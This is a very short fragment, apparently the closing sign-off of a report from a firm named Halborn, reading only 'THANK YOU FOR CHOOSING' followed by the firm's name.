THANK YOU FOR CHOOSING

// HALBORN